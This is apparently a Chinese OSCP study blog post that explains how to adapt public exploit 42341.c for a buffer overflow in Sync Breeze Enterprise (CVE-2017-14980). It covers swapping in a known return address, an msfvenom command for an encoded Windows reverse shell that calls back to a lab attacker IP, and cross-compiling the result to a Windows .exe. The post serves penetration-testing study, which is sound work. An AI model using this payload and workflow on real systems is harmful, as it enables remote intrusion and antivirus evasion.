❽⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 分析漏洞利用脚本(.c){下}

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

​

▶信息收集 ➢ 修改漏洞利用脚本 ➢ 分析漏洞利用脚本(.c)🔥🔥🔥

▶ 漏洞检测

▶ 初始立足点

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.修改缓冲区溢出利用脚本实战

[1.1 分析并修改漏洞利用脚本](#1.1 分析并修改漏洞利用脚本)

[1.1.4 分析并修改C语言漏洞利用代码 (42341.c)](#1.1.4 分析并修改C语言漏洞利用代码 (42341.c))

[1.1.4.3 返回地址替换](#1.1.4.3 返回地址替换)

1.再次验证msvbvm60.dll不存在

2.寻找可用的替代返回地址

3.如果没有可用的返回地址怎么办?

[1.1.4.4 自定义创建有效的Shellcode](#1.1.4.4 自定义创建有效的Shellcode)

1.分析现有shellcode

2.使用MSFVenom生成反向Shell

[1.1.4.5 修改42341.c漏洞利用代码](#1.1.4.5 修改42341.c漏洞利用代码)

[1.1.5 编译修改后的42341.c漏洞利用代码](#1.1.5 编译修改后的42341.c漏洞利用代码)

[1.1.5.1 安装交叉编译器](#1.1.5.1 安装交叉编译器)

[1.1.5.2 把.c文件编译为.exe可执行文件(出错)](#1.1.5.2 把.c文件编译为.exe可执行文件(出错))

[1.1.5.3 把.c文件编译为.exe可执行文件(成功)](#1.1.5.3 把.c文件编译为.exe可执行文件(成功))

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.修改缓冲区溢出利用脚本实战

本例以Sync Breeze Enterprise**(这是一个文件管理同步软件)** 为目标,对其漏洞利用分析与修改,并最终利用,漏洞编号:CVE-2017-14980

1.1 分析并修改漏洞利用脚本

我们在kali中查找 Sync Breeze Enterprise 10.0.28 有关的漏洞利用脚本,然后聚焦于两个可用漏洞之一,这将为我们提供适用于目标环境的漏洞利用代码,并展示后续的修改过程。


1.1.4 分析并修改C语言漏洞利用代码 (42341.c)

接前文,继续对42341.c进行修改。本文主要修改的是返回地址,并自定义shellcode。

1.1.4.3 返回地址替换
  • 核心问题 :42341.c 代码使用的返回地址指向 msvbvm60.dll,但目标系统未加载此模块,因此 需要在目标系统上重新寻找有效跳转地址(返回地址)。

  • 从目标程序加载的++DLL++ 中查找JMP ESP 等指令地址。这相当于现场测量锁芯,重新设计钥匙齿形

1.再次验证msvbvm60.dll不存在
  • 启动目标服务:在Windows 10客户端上运行 Sync Breeze 服务

  • 附加调试器 :以管理员身份启动 Immunity Debugger (逆行分析工具),点击文件 >附加,附加到 syncbrs 进程。

  • 检查加载模块 :一旦附加,我们将点击"视图"菜单,然后选择"可执行模块"。从那里,通过检查名称和路径值来验证 msvbvm60.dll 确实缺失。

关键发现 :目标环境与漏洞利用的预设环境不匹配,必须调整。

2.寻找可用的替代返回地址

高效策略:这让我们回想到上一节谈及的42928.py中的漏洞利用。

  • 该 Python 漏洞利用已被标记为有效(EDB验证)

  • 其中包含的返回地址 \x83\x0c\x09\x10 已在实际攻击中被证明可用

  • 因此,拿着这个返回地址替换当下的msvbvm60.dll的返回地址

替换后如下:

3.如果没有可用的返回地址怎么办?

当没有现成可用的返回地址时,有以下三种策略可选:

① 本地重建环境调试(最推荐)

做法 :在可控环境完整复现目标系统(相同OS版本、软件版本、补丁级别),然后使用调试工具(如gdb、OllyDbg等)来运行程序并找到适合的返回地址。

通过调试器,可以查看内存布局,找到函数调用时的返回地址,然后通过它来执行你的攻击。

优点 缺点
准确可靠,针对性强 耗时耗资源,需要调试技能
可绕过ASLR等保护机制 搭建环境可能复杂
能精细调整适应特定情况

比喻 :像法医现场重建------完全还原犯罪现场,逐项排查线索。

② 借鉴公开漏洞信息(本案例采用)

做法:搜索已验证的同软件版本漏洞利用,直接提取其中的返回地址。

优点 缺点
快速高效,省时省力 可能因系统差异失效
地址已通过实际验证 无法应对ASLR等缓解措施
适合应急或初步测试

比喻 :像使用现成配方------别人已验证有效的药方,直接拿来用。

③ 从目标机器直接提取

做法:在已获得目标机器访问权限后,提取关键DLL/EXE文件进行静态分析,寻找跳转指令。

优点 缺点
高度精准,完全匹配目标 需要先期访问权限
可分析目标实际保护状态 需反汇编分析技能
能定位非ASLR模块 可能引起目标警觉

比喻 :像现场取证------直接从目标身上获取关键证据。

⚠️ 关键挑战:ASLR(地址空间布局随机化)

策略 ASLR应对方案
本地调试 寻找非ASLR模块中的固定地址
公开信息 依赖他人已找到的非ASLR地址
目标提取 直接分析目标文件的ASLR状态

核心原则 :优先使用未启用ASLR的模块(如部分第三方DLL、应用程序主模块)中的地址,确保地址稳定性。


1.1.4.4 自定义创建有效的Shellcode
1.分析现有shellcode

在继续分析这个C语言漏洞利用代码时,会注意到shellcode变量似乎保存了payload。由于它以十六进制字节 的形式存储,无法轻易确定其实际用途。代码给出的唯一备注是shellcode变量中在payload之前添加了NOP滑动。如下:

当分析现有漏洞利用代码时,常会遇到无法直接识别用途的Shellcode 。为确保攻击成功,需要自主生成定制化Payload(Shellcode)。

2.使用MSFVenom生成反向Shell

**msfvenom:**这是Metasploit中用来生成payload的工具。

bash 复制代码
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 \
           EXITFUNC=thread -f c -e x86/shikata_ga_nai \
           -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

参数解析表:

参数 含义 作用
-p windows/shell_reverse_tcp Payload类型:Windows反向TCP Shell 在目标机上建立到攻击者的反向连接
LHOST=192.168.50.4 监听主机:攻击者IP地址 指定Shell回连的目标
LPORT=443 监听端口:443(HTTPS端口) 使用常见端口规避防火墙检测
EXITFUNC=thread 退出方式 : 在payload执行结束后,将使用线程退出 稳定退出,避免程序崩溃
-f c 输出格式:C语言数组格式 便于嵌入C漏洞利用代码
-e x86/shikata_ga_nai 编码器:指定使用Shikata Ga Nai编码器。这是x86平台使用的编码器 多态编码,用于混淆生成的payload,使其更难以被防病毒软件检测到
-b "\x00\x0a\x0d..." **坏字符列表,**指定了禁止的字节 过滤特定字节,生成的payload会避免包含这些字节,防止Payload被破坏

🛡️ 编码器的作用:Shikata Ga Nai

  1. 多态变形 :每次生成不同字节序列,相同Payload不同"面貌"

  2. 规避检测:绕过基于特征码的杀毒软件

  3. 坏字符规避:自动避免包含指定坏字符

比喻: 如同给Payload穿上**"变形迷彩服"**:

  • 每次生成时随机变换外观(躲避特征检测)

  • 但核心功能保持不变(仍然是反向Shell)

  • 自动避开危险区域(过滤坏字符)

坏字符的危害:

字符 十六进制 危害原因
空字节 \x00 C字符串终止符,会截断Payload
换行符 \x0a HTTP/协议分隔符,破坏数据传输
回车符 \x0d 同上,影响协议完整性
百分号 \x25 URL编码字符,可能被误解析
和符号 \x26 HTTP参数分隔符(&)
加号 \x2b URL中空格编码(+)
等号 \x3d HTTP参数赋值符(=)

实际影响:

想象在水流管道 中传递Payload:坏字符就像是管道中的障碍物------空字节会直接"切断水流",特殊字符会"改变水流方向",导致Payload无法完整到达目标执行点。


1.1.4.5 修改42341.c漏洞利用代码

根据上述的所有,将这些替换到42341.c中。完成上述更改后,以下红色字体部分是修改的套接字信息、返回地址指令和payload。如下所示:


1.1.5 编译修改后的42341.c漏洞利用代码

🔧 为什么需要交叉编译?

场景限制 :渗透测试中,通常使用Kali Linux作为攻击平台 ,但目标系统往往是Windows环境。

核心需求 :将C语言漏洞利用代码编译为Windows可执行文件(.exe),以便在目标系统直接运行。

解决方案 :可以尝试在Windows上编译该程序,也可以在kali上使用 mingw-w64 交叉编译器,在Linux环境下生成Windows程序。

1.1.5.1 安装交叉编译器
bash 复制代码
# Kali Linux中安装mingw-w64
sudo apt update
sudo apt install mingw-w64

编译器组件:

  • i686-w64-mingw32-gcc:32位Windows程序编译器

  • x86_64-w64-mingw32-gcc:64位Windows程序编译器


1.1.5.2 把.c文件编译为.exe可执行文件(出错)

安装后,可以在本地kali中使用mingw-w64交叉编译器把.c文件编译为Windows Portable Executable (PE)文件(.exe文件)。

bash 复制代码
# 将C代码编译为32位Windows可执行文件
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
参数 作用
42341.c 要编译的漏洞利用源代码文件
-o syncbreeze_exploit.exe 指定输出文件名(.exe扩展名)
i686-w64-mingw32-gcc 交叉编译器命令

编译出错了:

可能遇到的问题:

尽管命令简单,但实际编译常遇到错误:

  • 缺少Windows库函数:C代码调用Windows API,需包含正确头文件

  • 链接错误 :需要指定额外的库文件(如-lws2_32用于网络功能)

  • 语法不兼容:Linux与Windows的C语言实现略有差异

典型错误示例:(上图所示)

bash 复制代码
undefined reference to `__imp_WSAStartup'
undefined reference to `__imp_htons'

对于与"WSAStartup"相关的第一个错误进行简单的搜索发现,这是在winsock.h中的一个函数。进一步的研究表明,当链接器找不到winsock库时会出现这些错误。


1.1.5.3 把.c文件编译为.exe可执行文件(成功)

解决方案: 添加必要的链接库:(添加-lws2_32选项)

bash 复制代码
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32

-lws2_32是一个编译选项,告诉编译器在Windows环境下链接ws2_32.lib库,该库提供了Windows的套接字支持(即Windows Socket API,也叫WinSock)。这个库包含了与网络通信相关的函数,允许程序通过TCP/IP或其他协议进行网络操作。

现在没有产生任何编译错误,生成.exe文件。接下来对.exe文件进行测试。

📝 编译流程总结

bash 复制代码
[Kali Linux环境]
    ↓ [安装交叉编译器]
[漏洞利用C代码] → [编译器分析] → [链接Windows库] → [生成.exe文件]
    ↓
[可在Windows直接运行的可执行文件]

由于篇幅有限,修改后的漏洞利用是否成功,下一篇文章进行测试。

欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。

相关推荐
晓德8 小时前
7、LLM 模型是怎么训练生成的?(4)指令微调
人工智能·学习·算法·信息安全
白帽攻防录9 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的18 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop19 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全1 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
腾科IT教育1 天前
CISP是什么证书?含金量、报名条件与用途解析
信息安全·cisp·cisp认证·cisp报名条件·国家级证书
刘婉晴1 天前
【APP安全测试】Frida 基础
网络安全
科技象限1 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全